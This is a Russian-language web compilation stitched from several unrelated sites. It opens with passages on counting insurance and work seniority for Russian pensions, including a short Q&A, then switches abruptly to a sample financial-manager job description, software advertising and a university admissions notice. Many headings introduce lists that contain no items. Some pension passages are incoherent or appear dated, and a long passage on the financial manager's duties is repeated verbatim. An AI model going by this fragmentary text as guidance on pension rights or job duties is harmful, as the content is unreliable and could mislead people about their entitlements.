Период получения пособия по обязательному социальному страхованию в период временной нетрудоспособности | Включается в страховой стаж независимо от уплаты за этот период обязательных платежей |
Для быстрого подсчета стажа воспользуйтесь: → “Калькулятор расчета трудового стажа в Excel“.
Вопрос №1. Я находилась в отпуске по уходу за детьми в общей сложности 7 лет 5 месяцев. Неужели весь период ухода за детьми не войдёт в страховой стаж?
Ответ: Согласно Постановлению Правительства РФ от 2 октября 2014 г. № 1015 «Об утверждении Правил подсчета и подтверждения страхового стажа для установления страховых пенсий» (с изменениями и дополнениями) в страховой стаж каждого из родителей засчитывается не более 6 лет ухода, если они не совпадают по времени либо уход осуществляется за разными детьми. Причём стоит отметить, что в страховой стаж включается отпуск по уходу за ребёнком до достижения им возраста 1,5 лет, но в сумме не более 6 лет. Таким образом, 6 лет ухода будут включены в страховой стаж, 1 год 5 месяцев нет.
Вопрос №2. У меня есть запись в трудовой книжке о том, что я являлся членом колхозного хозяйства с 1992 по 1995 гг. В Пенсионном фонде мне сказали, что этот период не включён в стаж. Поясните, пожалуйста.
Ответ: Дело в том, что наличие членства в составе коллективного хозяйства ещё не означает наличия трудового стажа. Для подсчёта трудового стажа необходимо наличие трудовой деятельности, т.к. в соответствии с п. 66 Постановления Правительства РФ от 2 октября 2014 г. № 1015 «Об утверждении Правил подсчета и подтверждения страхового стажа для установления страховых пенсий» (с изменениями и дополнениями) календарные годы, указанные в трудовой книжке колхозника, в которых не было ни одного выхода на работу, из подсчета исключаются.
online-buhuchet.ru
При желании каждый пенсионер имеет право продолжать вести свою трудовую деятельность. Стаж при этом будет продолжаться учитываться, но процедура его учёта имеет свои особенности.
Каждый работающий пенсионер имеет установленный на него в пенсионном фонде лицевой счёт. По данному счёту проводится учёт рабочего времени гражданина, затрачиваемого им на выполнение своих рабочих обязанностей.
Подобная информация в конечном счёте находит своё отражение на имеющемся у гражданина стаже ведения им трудовой деятельности.
Учёт рабочего времени получателя пенсии, направленный в конечном счёте на получение точного объёма его трудового стажа, находит своё конечное отражение в назначаемом получателю объёме его пенсии по выслуге лет.
Подобные сведения подаются работодателем конкретного работника и сводятся постепенно в единый электронный документ.
Устанавливаются следующие основные условия назначения конкретного учёта стажа работающего пенсионера:
расчёт трудовой пенсии гражданина выполняется по формуле проведения вычисления, которая предполагает внесение изменений в трудовой стаж гражданина;
При расчёте трудового стажа включаются такие расчётные периоды:
Рабочий стаж пенсионера используется при начислении ему пенсии в такой последовательности:
Возможны варианты проведения перерасчёта имеющегося объёма трудового стажа при начислении пенсии.
Работающие пенсионеры имеют право на получение доплаты к трудовому стажу в таких случаях:
К пенсионерам, учёт рабочего стажа которых выполняется, устанавливаются такие требования:
Выполнение всех требований работодателя относительно соблюдения техники безопасности на производстве.
Для оформления получения пенсии при учёте рабочего стажа пенсионера требуются такие документы:
Назначение учёта трудового стажа гражданина при его пребывании пенсии не оговаривается строго нормами закона.
Пенсия при учёте трудового стажа назначается бессрочно, положены пенсионеру пожизненно.
Схема проведения учёта трудового стажа для работающего пенсионера имеет свои положительные и отрицательные стороны.
Среди достоинств можно отметить:
Возможность выполнения перерасчёта стажа получателя пенсии в сторону её увеличения.
Минусы рассматриваемой системы:
Внимание!
Поэтому для вас круглосуточно работают БЕСПЛАТНЫЕ эксперты-консультанты!
ЗАЯВКИ И ЗВОНКИ ПРИНИМАЮТСЯ КРУГЛОСУТОЧНО и БЕЗ ВЫХОДНЫХ ДНЕЙ.
pensiapro.ru
Трудовой стаж может быть:
Бесплатная консультация юриста по телефону
Задать вопрос юристу
По Москве и Московской области
Санкт-Петербург и область
Федеральный номер
Общий трудовой стаж – представляет собой сумму по продолжительности трудовой и общественно полезной деятельности, а также периоды деятельности, которые оговорены законодательством. На основе общего стажа определяют размер:
Существует два ключевых момента для включения в стаж:
Стоит заметить, что в общий стаж можно включить период работы, который осуществлялся за пределами страны, но при условии:
В общий стаж входит:
Важный момент, касающийся периода обучения студентов по очной форме обучения. До 1 января 2012 года очное обучение наравне с работой входило в общий трудовой стаж, необходимый для исчисления пенсии. Но в связи с действующей пенсионной программой, периоды учебы не считаются рабочей деятельностью, так как уплата страховых взносов в Пенсионный фонд страны не происходит, а значит, данный период не будет входить в расчет будущей пенсии.
Все вышеуказанные виды деятельности будут засчитаны в стаж только при выполнении требования.
Профессиональная деятельность должна быть перед и после них строго обязательна. Стоит учесть, что при этом нет ограничения по продолжительности.Периоды, которые не входят в общий трудовой стаж:
Подтверждение трудового стажа может осуществляться двумя способами:
Осуществление подсчета общего стажа гражданину необходимо в первую очередь в момент выхода на пенсию по старости. По российскому законодательству полный трудовой стаж составляет 25 лет для мужчин и 20 лет для женщин. При условии полностью выработанного стажа, размер будущей пенсии будет рассчитываться по среднему заработку работника, и равняться 55% от нее.
Действующая пенсионная программа предлагает за переработку сверх установленных лет увеличивать коэффициент стажа, за 1 год идет увеличение на 1%, но не выше 20%.
Таким образом, всем пенсионерам, которые продолжают осуществлять профессиональную деятельность, производят корректировку коэффициента стажа.Бесплатная консультация юриста по телефону
Задать вопрос юристу
По Москве и Московской области
Санкт-Петербург и область
Федеральный номер
Подсчет трудового стажа можно осуществлять двумя способами:
При простом способе подсчет можно вести вручную, но более удобным способом является использование специальной компьютерной программы. При подсчете ручным способом лучше всего и удобнее производить расчет, когда все данные сведены в столбик. Подсчет ведется по каждому отдельному месту работы гражданина.
Для этого необходимо из даты увольнения работника вычесть дату его первого рабочего дня и приплюсовать один день. Итогом будет сумма всех полученных результатов. Стоит заметить, что целый год стажа составляет 12 календарных месяцев, а месяц состоит только из 30 дней. Важно иметь в виду, что если в трудовой отсутствуют точные даты записи, то началом и окончанием периода принято считать середину месяца (15 число) или середину года – 1 июля.
Опираясь на законодательство, каждому гражданину для получения базовой пенсии по старости нужно иметь хотя бы пять лет стажа. Если трудовая деятельность будет более пяти лет, то для расчета пенсии применяется следующая формула.
К базовой пенсии прибавляется результат отношения всех выплат, которые были произведены гражданином в пенсионный фонд к общему количеству месяцев, в течение которых государство обязуется выплачивать пенсию (228 месяцев).
Непрерывный стаж на размер пенсии никакого влияния не оказывает. Но бывают случаи, когда все же при осуществлении подсчета общего стажа возникает необходимость сравнить полученные данные с непрерывным стажем. Если при сравнении общий стаж будет меньше непрерывного, то определение размера пособия будут вести по данным непрерывного трудового стажа.
Непрерывный стаж будет сохраняться, если:
Непрерывный стаж не будет сохраняться, если трудовой договор был расторгнут по причине:
Итак, подведем некоторые выводы по статье:
Стоит заметить, что расчет общего трудового стажа каждому работнику может осуществить не только пенсионный фонд, но и отдел кадров на работе, который обязан иметь специальную компьютерную программу.
Каждому гражданину стоит задуматься о размере своей будущей пенсии заблаговременно и осознанно делать выбор работы в пользу той организации, которая выплачивает заработную плату официально, а не в конвертах, поскольку рассчитываться размер пенсии будет от средней заработной платы работника.
homeurist.com
ДОЛЖНОСТНАЯ ИНСТРУКЦИЯ
01.03.2009
Финансовый менеджер |
УТВЕРЖДАЮ
Генеральный директор
_______________________
01.03.2017 |
4.1. Финансовый менеджер имеет право:
По решению Руководства за нарушение требований данной должностной инструкции, заместитель главного бухгалтера может быть привлечен к дисциплинарной ответственности в порядке, предусмотренном законодательством РФ.
СОГЛАСОВАНО:
С инструкцией ознакомлен и согласен: _________________________
(Ф.И.О.)
(подпись)
«___»_______________201_ г.
www.delovoy.info
Цель любого бизнеса – тратить как можно меньше ресурсов и получать при этом максимальную прибыль. Именно для выполнения этой задачи в компаниях существует должность финансового менеджера. Причем этот специалист нужен далеко не на каждом предприятии. Маленькие фирмы не нанимают дополнительных работников, а обязанности такого типа выполняет сам директор или бухгалтер. В тоже время, в больших корпорациях роль финансового менеджера выполняет не один человек, а целый отдел сотрудников.
Наличие должностной инструкции финансового менеджера законодательством не предусмотрено, при этом очень важно иметь данный правовой документ. Ведь он помогает сотруднику понять, что именно от него требует руководство, и какую роль в компании он занимает. В тоже время, используя инструкцию, руководство может регулировать занятость своего персонала. Обучиться данной профессии напрямую на нынешний момент возможности нет, поэтому сотруднику потребуется смежное образование в указанной сфере.
Более подробную информацию на этот счет содержит образец должностной инструкции финансового менеджера. Его пункты могут изменяется в зависимости от направления, масштаба и потребностей компании. Самое важное, чтобы документ полностью соответствовал действующему законодательству страны.
Главная задача специалиста, занимающего такую должность, заключается в обеспечении движения ресурсов компании, а также контроле финансовых отношений фирмы. Это помогает ему максимально эффективно распределять и использовать запасы организации в момент осуществления ее основной деятельности. Также это позволяет получать максимальную прибыль при минимальных затратах, что, собственно, и является главной целью наличия этой должности.
В правовом документе, а именно в должностной инструкции финансового менеджера, прописано, что он находится в подчинении у финансового и главного директоров. Эта должность относится к руководящим постам, поэтому назначить на нее или уволить сотрудника может лишь генеральный директор. Сотрудник, выполняя обязанности, должен руководствоваться законами страны, приказами руководства, правилами компании и ее уставом. Также необходимо учитывать прочую документацию, которая регламентирует его деятельность, в том числе должностную инструкцию финансового менеджера.
Поступая на работу, сотрудник обязан изучить всю правовую документацию, которая касается финансовой и хозяйственной деятельности компании, знать нынешнее состояние и перспективы развития как самой компании, так и рынка услуг и сбыта. Знать, по каким принципам осуществляется финансовая занятость предприятия, как составляются планы, прогнозные балансы, бюджет, планы на прибыль и реализацию товаров и услуг. Работнику должна быть знакома система финансового инструментария, который необходим для обеспечения контроля и управления над денежными потоками.
Должностная инструкция финансового менеджера подразумевает, что он разбирается в управлении собственным капиталом компании, знает методы оценки активов, может определить их доходность и риск. Он должен изучить, как правильно управлять оборотным капиталом, и понимать, с помощью каких методов формируются собственные оборотные ресурсы. Понимать, по каким принципам определяется предпринимательский риск, в каком порядке осуществляется кратковременное и долгосрочное кредитование компании, как привлекать заемные средства и инвестиции для предприятия, и как лучше использовать собственные ресурсы фирмы.
В должностной инструкции финансового менеджера в торговой компании прописано, что он обязан знать правила производства и покупки ценных бумаг, порядок распределения ресурсов организации; уметь определить, эффективно ли используются вложения фирмы. Он должен быть знаком с принципами контроля финансов, денежными расчетами, знать, по каким принципам и методикам осуществляется обложение налогами.
Также знать, как правильно их выплачивать и какие существуют налоговые сборы. Изучить в целом всю налоговую систему, знать характеристику основных ее пунктов, а также стандарты отчетности и учета финансовых средств компании. Согласно должностной инструкции фин. менеджера, он обязан быть знаком с бухгалтерским учетом, трудовым законодательством и экономикой. Хорошо знать, как и зачем применяется вычислительная техника, средства связи и телекоммуникации. Также от него требуется изучение правил и порядков компании, в том числе пожарная безопасность, дисциплина и охрана труда.
Основной задачей этого сотрудника является управление финансовыми средствами компании ради получения организацией максимальной прибыли. Также в его обязанности входит разработка проектов финансовых планов текущего и перспективного типа. Он занимается прогнозированием бюджета и баланса фирмы, разработкой нормативов оборотных средств, а также проведением мероприятий по повышению скорости их оборота.
Как указано в должностной инструкции финансового менеджера для компании малого бизнеса, работник должен заниматься разработкой мероприятий, направленных на управление капиталом и определением его ценовой характеристики. Сотрудник проводит анализ экономического и финансового состояния компании, а также оценивает результативность ее работы. Он должен обеспечивать платежеспособность предприятия, устранять материальные и технические ресурсы, которые не используются, и предупреждать их появление. Должен заниматься повышением рентабельности производства продукции, увеличивать прибыль, сокращать издержки на экономическую деятельность компании, а также осуществлять укрепление денежной дисциплины в организации.
Оформленный на эту должность сотрудник занимается обеспечением выполнения бюджета компании и составленных финансовых планов с учетом всех необходимых показателей. Он разрабатывает методы регулирования результативности производства компании. Имеется в виду, что финансовый менеджер определяет оптимальные варианты формирования себестоимости выпускаемой продукции, распределяет затраты, следит за образованием цен и проч. Работник занимается управлением активами компании. Тут учитываются финансирование производства, ремонтные работы, выпуск новых продуктов, расширение производственных площадей, открытие дочерних фирм и многое другое.
Специалист управляет свободными денежными потоками, осуществляет реорганизацию, ликвидацию и реализацию имущества фирмы. Согласно должностной инструкции финансового менеджера в строительной компании, он должен определять источники финансирования хозяйственной и производственной деятельности фирмы. То есть искать пути получения бюджетного финансирования, кредитования, выпуска и покупки ценных бумаг, контролировать лизинг, привлекать заемные и эксплуатировать имеющиеся средства и другое. Помимо этого, он должен проводить анализ и разработку схем использования источников получения финансовых средств.
Работник, занимающий пост финансового менеджера, должен визировать предложения о перенаправлении и хранении средств, получении займов, а также использовании прочих источников получения денежных ресурсов. Всю эту документацию он обязан направлять вышестоящему руководству. В его обязанности входит налаживание и установка деловых связей с различного рода кредитными учреждениями, лизинговыми компаниями и прочими организациями коммерческого типа. Финансовый менеджер занимается обеспечением целевой эксплуатации кредитных и собственных денежных ресурсов организации, подготовкой банковской документации для всех платежных целей.
Как указано в должностной инструкции финансового менеджера, в единственном числе он обязан заниматься инвестиционной политикой компании и управлением активами, при этом определять их структуру, готовить документацию для замены и ликвидации, управлять портфелем ценных бумаг. В его обязанности входит проведение оценки и анализа эффективности оборота денежных средств, обеспечение поступления доходов, оформление финансовых и расчетных банковских операций, оплата работы подрядчиков и поставщиков, контроль за своевременным погашением займов и выплатой персоналу компании заработанных денег.
Если рассматривать должностную инструкцию финансового менеджера на предприятии, то там есть пункт, где указано, что сотрудник должен заниматься обеспечением оперативного финансирования, осуществлять платежные и расчетные обязательства, своевременно отражать все изменения, касающиеся платежных возможностей компании, и отслеживать собственные средства фирмы. Он рассчитывает прибыль от реализации товаров и услуг, использует ресурсы, осуществляет прочие операции, затрагивающие основную деятельность предприятия. В обязанности этого сотрудника входит принятие решений касательно распределения прибыли. Сюда входит финансирование производственных процессов с целью осуществления заявленных планов, выплаты заработной платы и дивидендов, реализация программ социального назначения, погашение кредитов и прочее.
Работник занимается расчетами налогов, их минимизацией, перечислением денежных средств с целью их уплаты в специализированные учреждения и фонды. Должностная инструкция финансового менеджера (РК в том числе) предполагает, что работник проводит анализ выполнения смет, бухгалтерской и прочих отчетностей, затрагивающих финансовую деятельность компании, контролирует выполнение планов, остановку производства продукции, которая невыгодна для реализации, и правильное расходование денежных ресурсов фирмы.
Именно он занимается организацией учета финансовых ресурсов и подготовкой отчетной документации для руководства и других структур, которым необходима эта информация. Обеспечивает правильное оформление всех документов и проверяет достоверность указанных в них данных. Также в его задачи может входить координирование и консультирование руководства по финансовым вопросам.
Согласно имеющимся образцам должностной инструкции фин. менеджера, он вправе потребовать у руководства обеспечить ему нормальные условия труда. Имеется в виду, что сотрудник имеет право на предоставление помещения, организацию рабочего места и обеспечение всеми необходимыми инструментами для выполнения возложенных на него функций. Он имеет право использовать руководящие утверждения, инструкции, приказы, распоряжения и прочие документы, которые регламентируют его деятельность.
Он может предложить начальнику методы улучшения деятельности компании, а также варианты усовершенствования форм и методов труда, если это входит в его компетенцию. В его праве — получать проекты решений, которые затрагивают его работу, запрашивать документы и данные у всех сотрудников компании, в том числе статистику, отчеты и другое; информировать начальство о недостатках работы компании и предлагать пути решения проблемы. Финансовый менеджер может ставить подпись и визировать документацию разного типа, если это входит в его компетенцию. Он вправе использовать разные методы получения информации для решения возложенных на него задач.
Сотрудника могут привлечь к ответственности, если он несвоевременно или некачественно выполняет возложенные на него задачи, за неправомерное использование прав, в том числе превышение своих полномочий или использование их в личных целях. Он в ответе, если не соблюдает приказы, инструкции, распоряжения и прочие моменты. Если он нарушает устав и правила компании, небрежно относится к имуществу компании, грубо относится к сотрудникам и персоналу организации. Финансовый менеджер несет ответственность за сохранность документов и конфиденциальной информации, хранение коммерческой тайны и шпионаж. Также его могут привлечь к ответу за предоставление руководству заведомо ложной или искаженной информации касательно финансового положения компании и оборота ее денежных ресурсов.
Это основные пункты, которые содержит образец должностной инструкции финансового менеджера. В зависимости от направления хозяйственной деятельности организации и прочих моментов, они могут быть изменены или дополнены, не выходя за рамки действующего законодательства. Данный документ регламентирует основную деятельность финансового менеджера. Многие ошибочно путают эту должность с постом директора, но на деле это немного не так. Финансовый менеджер является лишь сотрудником отдела и находится в подчинении не только генерального, но и финансового директора. Профессия очень распространенная и востребованная на рынке труда, но получить прямое профильное образование по этому виду деятельности на территории нашей страны пока нет возможности, поэтому желающим приходится выбирать смежные профессии.
fb.ru
Финансовый менеджер – это человек, который управляет деньгами предприятия. Качество его работы во многом зависит от круга должностных обязанностей, которые он выполняет. Разберемся в этом подробнее.
Ранее на крупных предприятиях вопросом учета денежных средств занималась исключительно бухгалтерия. Однако сотрудники этого подразделения по сути лишь реагировали на те изменения с активами и пассивами предприятия, которые уже произошли. Они не влияли на принятие решений и не занимались управлением, менеджментом.
Понятно, что в небольшой фирме достаточно, что важные финансовые решения будет разрабатывать и принимать руководитель. Однако по мере развития компании, ее роста, эта работа будет становиться все сложнее. А поэтому обязанности управления финансами необходимо делегировать отдельному сотруднику. И здесь нельзя совершать ошибку и возлагать обязанности по финансовому менеджменту на бухгалтера. См. подробнее о том, кто такой финансист.
Какая зарплата у финансового менеджера?
Узнать
Но почему не бухгалтер? Ведь он тоже работает с финансами, ведет их учет. Зачем нужен еще один человек в штат? Ответ прост. Бухгалтер подводит итоги деятельности компании. Он использует цифры и данные из прошлого. А финансовый менеджер смотрит в будущее. Он планирует деятельность, анализирует данные рынков, разрабатывает новые стратегии. Это критическое отличие и его важно понимать, чтобы не заставлять бухгалтера заниматься несвойственной ему деятельностью.
Итак, финансовый менеджер — это кто и чем занимается? По факту это должность, которая предусматривает работу по повышению доходов предприятия, прибыльности, минимизации расходов и увеличению стоимости компании. Он принимает решения в условиях неопределенности и риска, выбирая наиболее перспективные варианты. А бухгалтер должен вести строгий подсчет максимально точно отображая положение дел в компании.
Зачастую должностная инструкция вводится на предприятии впервые. И при ее составлении важно четко разграничить зону ответственности будущего менеджера. Необходимо исключить ситуации, при которых один вопрос может находиться в зоне интересов бухгалтера и финансового менеджера. Это может спровоцировать конфликт профессиональных интересов и усложнить работу предприятия.
Кроме того, должностная инструкция финансового менеджера решает следующие задачи:
Законодательство не регламентирует состав и содержание инструкции. Но в ней обязательно должны быть права и обязанности финансового менеджера. За образец можно взять следующую структуру документа:
Пожалуй, самый главный раздел в должностной инструкции — обязанности финансового менеджера. Каждая компания должна учитывать специфику своей деятельности, чтобы с учетом этой деятельности составить максимально точную и четкую инструкцию. В противном случае, если это будут размытые требования, то эффективность работы менеджера снизится.
Что должен знать финансовый менеджер? К его обязанностям относятся
www.fd.ru
Эффективное управление ресурсами – приоритетная задача любого предприятия. В зависимости от стратегии развития и учетной политики компании разрабатываются принципы управления денежными потоками и формирования взаимоотношений между субъектами хозяйственной деятельности.
Функции учета, контроля, распределения ресурсов возложены на руководителя экономического департамента. Он отвечает за корректную реализацию экономической политики компании и обязан создать условия для эффективной работы предприятия. Основные функции и задачи финансового менеджера на предприятии:
Финансовый менеджер имеет обязанности и организационного характера. Он участвует в бюджетном процессе и обеспечивает деятельность казначейства. А также контролирует и анализирует хозяйственную деятельность и денежные потоки, исследует возможность применения различных инструментов в рамках политики предприятия и утвержденных принципов управления.
Рисунок 1. Оптимизация денежных потоков на примере программного продукта «WA: Финансист».
Финансовый менеджер использует широкий спектр инструментов. Процесс учета и контроля трудоемкий и ответственный, специалист не имеет права на ошибки, так как управляет активами компании. С целью повышения качества и максимальной систематизации процессов, предприятия внедряют универсальные программные продукты с широким функционалом. Такой подход позволяет оптимизировать трудо- и временные затраты, повысить эффективность.
Система «WA: Финансист» является гибким инструментом для решения наиболее сложных задач менеджмента, она может быть применима на любом предприятии в Москве или в других регионах России. Она позволяет увеличить число аналитических задач благодаря расширению функционала, поэтому экономический руководитель прямые обязанности может выполнять более эффективно. Система удобна и проста в использовании, легко настраивается, подбор опций осуществляется в зависимости от целей специалиста.
В основные функции и обязанности финансового менеджера входит эффективная организация работы казначейства и постановка управленческого учета. «WA: Финансист» позволяет реализовать их максимально качественно и эффективно. Рациональное управление денежными средствами – это приоритетная задача компании, поэтому организация учета начинается с построения системы казначейства (учета движения денежных средств). Система включает набор инструментов, позволяющий максимально корректно решить задачи:
Рисунок 2. Формирование бюджета движения денежных средств на примере программного продукта «WA: Финансист».
Этот функционал позволяет:
«WA: Финансист» может решать целый ряд масштабных задач. Поэтому внедрение более сложных моделей при смене лицензии позволяет расширить спектр управленческих действий. Например, «WA: Финансист: Бюджетирование» позволяет эффективно формировать:
Рисунок 3. Консолидированная управленческая отчетность по группе компаний в системе «WA: Финансист».
Также может быть применено решение «WA: Финансист: Управленческий учет/МСФО», если существует необходимость реализации системы управленческого учета. Система управления договорами может быть эффективно организована при варианте поставки «WA: Финансист: Контракт-менеджмент».
Все продукты, разработанные WiseAdvice, взаимодополняют друг друга. Переход на другой вариант поставки позволяет использовать функциональные возможности предыдущей модели. Новые версии расширяют текущие функциональные решения и позволяют специалисту использовать привычные инструменты, которые были доступны в вариантах системы, применяемых ранее.
Приглашаем на бесплатный вебинар
12 декабря в 10:30 ()
В зависимости от масштаба и специфики деятельности предприятия, принципов учетной политики и управления ресурсами, спектр функций финансового менеджера может существенно отличаться. Специалист может решать отдельные задачи управления денежными потоками или же осуществлять полный контроль экономического состояния компании. Должностная инструкция должна отражать круг всех обязанностей, возложенных на специалиста. Кроме того, она должна включать список полномочий, что позволит сотруднику определить его права и в будущем эффективно осуществлять профессиональную деятельность в соответствии с положениями инструкции.
Должностные инструкции разрабатываются компаниями в соответствии с особенностями их деятельности, однако они имеют в своей структуре основные сходные положения:
Видеозаписи прошедших вебинаров по теме «Управленческий учет / МСФО»
Все положения должностной инструкции финансового менеджера должны быть прописаны четко и полно. Такой подход не позволит сотруднику компании неэффективно выполнять функции финансового менеджера и даст ему понимание всей зоны ответственности, возложенной на него. Кроме того, руководствуясь положениями инструкции, специалист будет более системно строить трудовой процесс и использовать свои права в продуктивном направлении.
Качественно составленные должностные инструкции позволяют специалисту по подбору персонала более эффективно заполнить вакансии, оценивая резюме в соответствии с положениями этих документов. Такой подход оптимизирует процесс подбора профессиональных кадров, вне зависимости от того, заполняется ли вакансия специалиста по продажам или же финансового менеджера.
Дата последнего обновления: 23.08.2016 13:45
Смотрите также «Управленческая отчетность»www.1cashflow.ru
Бизнес будет эффективным только при соблюдении ключевого условия. Звучит оно так: компания должна тратить минимум и зарабатывать максимум. Именно соблюдение золотого правила успешной коммерции – одна из основных обязанностей финансового менеджера компании. Это может быть один человек для небольшой фирмы или отдел специалистов крупного предприятия. Уровень важности и степень востребованности профессии от этого не изменится.
Спектр задач, которые возлагают на специалиста по управлению финансами, обширен. Базовые профессиональные обязанности финансового менеджера:
Учитывая серьезность работы с деньгами, работодатели устанавливают самые высокие требования к профессиональной подготовке сотрудника компании по работе с финансами. Крайне редки случаи, когда на должность финменеджера принимаются специалисты со средним профобразованием. Выше шансы у бакалавров, отличные перспективы у магистратов. Особенно если последние окончили курс нашего вуза.
Программ, где студент может реализовать свой потенциал финансиста, у нас много.
Оперирование денежными потоками тесно связано с высокими рисками, потому среди наиболее ценных качеств будущего менеджера надо выделить стрессоустойчивость, эмоциональный контроль и ответственный подход. Ошибки стоят профессии дорого, потому хорошее знание математики, привычка проверять себя тоже важны. Из «технических» навыков финансисту полезно владение специальным софтом моделирования, инструментами анализа, стратегического планирования.
Финансовый менеджер нужен всем – торговым, страховым, банковским, производственным организациям. Но его функции меняются с привязкой к профилю компании. В обязанности финансового менеджера в банкевходит ведение аукциона кредитов. В страховых компаниях сотрудникам придется заниматься инвестиционным направлением. На производстве менеджер планирует (стратегия, тактика, управленческая отчетность).
Спектр дополнительных требований определяет конкретная направленность компании. То же касается вопросов, вверенных менеджеру. Нередко для исполнения особо важных функций от финансиста требуется наличие опыта работы в узкой сфере (тендеры, инвестиции).
Финменеджер – престижная перспективная профессия, но и ее можно усилить. Примеры:
Финансисту всегда есть куда расти по направлениям экономики, психологии, лингвистики (работа на международном поле).
Адрес поступления:
Ленинградский пр-т, д. 80, корпуса Е, Ж, Г.
Станция метро «Сокол», выход в центре зала на ул. Балтийская, далее пешком или на троллейбусе (№ 6, 43) до остановки «Институт Гидропроект» (1 остановка), у троллейбусного депо повернуть направо.
Контакты приемной комиссии:
Телефон: +7 (495) 800 10 01
E-mail: [email protected]
График работы приёмной комиссии:
Пн – Пт: 08:30 – 22:10;
Сб – Вс: 10:00 – 17:00;
synergy.ru
Цель любого бизнеса – тратить как можно меньше ресурсов и получать при этом максимальную прибыль. Именно для выполнения этой задачи в компаниях существует должность финансового менеджера. Причем этот специалист нужен далеко не на каждом предприятии. Маленькие фирмы не нанимают дополнительных работников, а обязанности такого типа выполняет сам директор или бухгалтер. В тоже время, в больших корпорациях роль финансового менеджера выполняет не один человек, а целый отдел сотрудников.
Наличие должностной инструкции финансового менеджера законодательством не предусмотрено, при этом очень важно иметь данный правовой документ. Ведь он помогает сотруднику понять, что именно от него требует руководство, и какую роль в компании он занимает. В тоже время, используя инструкцию, руководство может регулировать занятость своего персонала. Обучиться данной профессии напрямую на нынешний момент возможности нет, поэтому сотруднику потребуется смежное образование в указанной сфере.
Более подробную информацию на этот счет содержит образец должностной инструкции финансового менеджера. Его пункты могут изменяется в зависимости от направления, масштаба и потребностей компании. Самое важное, чтобы документ полностью соответствовал действующему законодательству страны.
Главная задача специалиста, занимающего такую должность, заключается в обеспечении движения ресурсов компании, а также контроле финансовых отношений фирмы. Это помогает ему максимально эффективно распределять и использовать запасы организации в момент осуществления ее основной деятельности. Также это позволяет получать максимальную прибыль при минимальных затратах, что, собственно, и является главной целью наличия этой должности.
В правовом документе, а именно в должностной инструкции финансового менеджера, прописано, что он находится в подчинении у финансового и главного директоров. Эта должность относится к руководящим постам, поэтому назначить на нее или уволить сотрудника может лишь генеральный директор. Сотрудник, выполняя обязанности, должен руководствоваться законами страны, приказами руководства, правилами компании и ее уставом. Также необходимо учитывать прочую документацию, которая регламентирует его деятельность, в том числе должностную инструкцию финансового менеджера.
Поступая на работу, сотрудник обязан изучить всю правовую документацию, которая касается финансовой и хозяйственной деятельности компании, знать нынешнее состояние и перспективы развития как самой компании, так и рынка услуг и сбыта. Знать, по каким принципам осуществляется финансовая занятость предприятия, как составляются планы, прогнозные балансы, бюджет, планы на прибыль и реализацию товаров и услуг. Работнику должна быть знакома система финансового инструментария, который необходим для обеспечения контроля и управления над денежными потоками.
Должностная инструкция финансового менеджера подразумевает, что он разбирается в управлении собственным капиталом компании, знает методы оценки активов, может определить их доходность и риск. Он должен изучить, как правильно управлять оборотным капиталом, и понимать, с помощью каких методов формируются собственные оборотные ресурсы. Понимать, по каким принципам определяется предпринимательский риск, в каком порядке осуществляется кратковременное и долгосрочное кредитование компании, как привлекать заемные средства и инвестиции для предприятия, и как лучше использовать собственные ресурсы фирмы.
В должностной инструкции финансового менеджера в торговой компании прописано, что он обязан знать правила производства и покупки ценных бумаг, порядок распределения ресурсов организации; уметь определить, эффективно ли используются вложения фирмы. Он должен быть знаком с принципами контроля финансов, денежными расчетами, знать, по каким принципам и методикам осуществляется обложение налогами.
Также знать, как правильно их выплачивать и какие существуют налоговые сборы. Изучить в целом всю налоговую систему, знать характеристику основных ее пунктов, а также стандарты отчетности и учета финансовых средств компании. Согласно должностной инструкции фин. менеджера, он обязан быть знаком с бухгалтерским учетом, трудовым законодательством и экономикой. Хорошо знать, как и зачем применяется вычислительная техника, средства связи и телекоммуникации. Также от него требуется изучение правил и порядков компании, в том числе пожарная безопасность, дисциплина и охрана труда.
Основной задачей этого сотрудника является управление финансовыми средствами компании ради получения организацией максимальной прибыли. Также в его обязанности входит разработка проектов финансовых планов текущего и перспективного типа. Он занимается прогнозированием бюджета и баланса фирмы, разработкой нормативов оборотных средств, а также проведением мероприятий по повышению скорости их оборота.
Как указано в должностной инструкции финансового менеджера для компании малого бизнеса, работник должен заниматься разработкой мероприятий, направленных на управление капиталом и определением его ценовой характеристики. Сотрудник проводит анализ экономического и финансового состояния компании, а также оценивает результативность ее работы. Он должен обеспечивать платежеспособность предприятия, устранять материальные и технические ресурсы, которые не используются, и предупреждать их появление. Должен заниматься повышением рентабельности производства продукции, увеличивать прибыль, сокращать издержки на экономическую деятельность компании, а также осуществлять укрепление денежной дисциплины в организации.
Оформленный на эту должность сотрудник занимается обеспечением выполнения бюджета компании и составленных финансовых планов с учетом всех необходимых показателей. Он разрабатывает методы регулирования результативности производства компании. Имеется в виду, что финансовый менеджер определяет оптимальные варианты формирования себестоимости выпускаемой продукции, распределяет затраты, следит за образованием цен и проч. Работник занимается управлением активами компании. Тут учитываются финансирование производства, ремонтные работы, выпуск новых продуктов, расширение производственных площадей, открытие дочерних фирм и многое другое.
Специалист управляет свободными денежными потоками, осуществляет реорганизацию, ликвидацию и реализацию имущества фирмы. Согласно должностной инструкции финансового менеджера в строительной компании, он должен определять источники финансирования хозяйственной и производственной деятельности фирмы. То есть искать пути получения бюджетного финансирования, кредитования, выпуска и покупки ценных бумаг, контролировать лизинг, привлекать заемные и эксплуатировать имеющиеся средства и другое. Помимо этого, он должен проводить анализ и разработку схем использования источников получения финансовых средств.
Работник, занимающий пост финансового менеджера, должен визировать предложения о перенаправлении и хранении средств, получении займов, а также использовании прочих источников получения денежных ресурсов. Всю эту документацию он обязан направлять вышестоящему руководству. В его обязанности входит налаживание и установка деловых связей с различного рода кредитными учреждениями, лизинговыми компаниями и прочими организациями коммерческого типа. Финансовый менеджер занимается обеспечением целевой эксплуатации кредитных и собственных денежных ресурсов организации, подготовкой банковской документации для всех платежных целей.
Как указано в должностной инструкции финансового менеджера, в единственном числе он обязан заниматься инвестиционной политикой компании и управлением активами, при этом определять их структуру, готовить документацию для замены и ликвидации, управлять портфелем ценных бумаг. В его обязанности входит проведение оценки и анализа эффективности оборота денежных средств, обеспечение поступления доходов, оформление финансовых и расчетных банковских операций, оплата работы подрядчиков и поставщиков, контроль за своевременным погашением займов и выплатой персоналу компании заработанных денег.
